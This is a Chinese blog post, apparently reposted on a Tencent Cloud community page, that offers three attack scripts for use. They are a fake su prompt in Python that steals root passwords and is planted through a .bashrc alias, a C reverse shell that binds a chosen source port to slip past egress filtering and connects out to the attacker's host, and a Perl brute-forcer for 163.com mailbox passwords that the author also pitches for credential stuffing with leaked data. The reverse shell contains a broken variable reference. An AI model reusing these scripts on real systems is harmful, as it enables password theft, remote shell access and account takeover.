首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >入侵渗透专用的python小脚本

入侵渗透专用的python小脚本

作者头像
py3study
发布2020-01-06 14:11:41
8560
发布2020-01-06 14:11:41
举报
文章被收录于专栏:python3python3

渗透的很多时候,在网上找到的工具并不适用,自己写代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的红黑联盟,短小使用,求欣赏,求好评。

0×01

记录root密码小工具:

root.py

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

#!/usr/bin/python import os, sys, getpass, time   current_time = time.strftime("%Y-%m-%d %H:%M") logfile="/dev/shm/.su.log"              //密码获取后记录在这里 #CentOS                 #fail_str = "su: incorrect password" #Ubuntu              #fail_str = "su: Authentication failure" #For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样 fail_str = "su: incorrect password" try:     passwd = getpass.getpass(prompt='Password: ');     file=open(logfile,'a')     file.write("[%s]t%s"%(passwd, current_time))   //截取root密码     file.write('n')     file.close() except:     pass time.sleep(1) print fail_str                               //打印切换root失败提示

打印切换root失败提示

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

0×02

设置源端口反弹shell

渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,

Ping了下百度 可以ping通,

那真相只有一个

服务器变态的限制了只能某些提供已某些端口为源端口去连接外面

比如

只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

谷歌程序无果,自己查了相关api后写了个。

client-port.c

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55

#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> void error(char *msg) {         perror(msg);         exit(0); } int main(int argc, char *argv[]) {         int sockfd, portno, lportno,n;         struct sockaddr_in serv_addr;         struct sockaddr_in client_addr;         struct hostent *server;         char buffer[256];         if (argc < 3) {                 fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);                 exit(0);         }                          //三个参数,目标主机,目标主机端口,本地源端口         portno = atoi(argv[2]);         sockfd = socket(AF_INET, SOCK_STREAM, 0);         if (sockfd < 0)                 error("ERROR opening socket");             bzero((char *) &client_addr, sizeof(client_addr));         lportno = atoi(argv[3]);         client_addr.sin_family = AF_INET;         client_addr.sin_addr.s_addr = INADDR_ANY;         client_addr.sin_port = htons(lportno);         //设置源端口         if (bind(sockfd, (struct sockaddr *) &client_addr,                                 sizeof(client_addr)) < 0)                 error("ERROR on binding");           server = gethostbyname(argv[1]);         if (server == NULL) {                 fprintf(stderr,"ERROR, no such host ");                 exit(0);         }         bzero((char *) &serv_addr, sizeof(serv_addr));         serv_addr.sin_family = AF_INET;         bcopy((char *)server->h_addr,                         (char *)&serv_addr.sin_addr.s_addr,                         server->h_length);         serv_addr.sin_port = htons(portno);         if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)   //连接                 error("ERROR connecting");  dup2(fd, 0);  dup2(fd, 1);  dup2(fd, 2);  execl("/bin/sh","sh -i", NULL);                        //执行shell  close(fd); }

用法:

1 gcc client-port.c -o port 1 chmod +x port 1 ./port  你的IP 你的监听端口 本地的源端口

如 ./port http://www.2cto.com  80  80

红黑联盟成功反弹shell 提权成功

0×03 邮箱爆破脚本

某个时候 需要爆破一批邮箱

Burp163.pl

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

#!/usr/bin/perl use Net::POP3; $email="pop.163.com";          //设置pop服务器地址 qq为pop.qq.com $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. "); print $pop->banner(); $pop->quit; $i=0; open(fp1,"user.txt");      @array1=<fp1>; open(fp2,"pass.txt"); @array2=<fp2>;                     //从文件中获取邮箱用户名及密码 foreach $a(@array1) { $u=substr($a,0,length($a)-1); $u=$u."@163.com"; foreach $b(@array2) { $p=substr($b,0,length($b)-1); print "cracked with ".$u."-----".$p."n"; $i=$i+1; $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. "); $m=$pop->login($u,$p);              //尝试登录邮箱 if($m>0) {   print $u."------------".$p."----"."success"."n";   $pop->quit; }                                //成功登录 else {   print $u."------------".$p."----"."failed"."n";   $pop->quit;                                     //登录失败 } } } print $i;

用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

$email="pop.163.com";

再将去除掉@后面部分的邮箱地址比如sude@163.com 去除后sude存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说

这个有点鸡肋吧 万一邮箱的密码很复杂

呵呵

搞到了一个小站的数据,

用这个程序批量测试密码是否就是邮箱密码 呵呵

我啥都没说。

0×04

这三个程序仅供技术研究,如读者用于违法行为,本人概不负

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-09-18 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档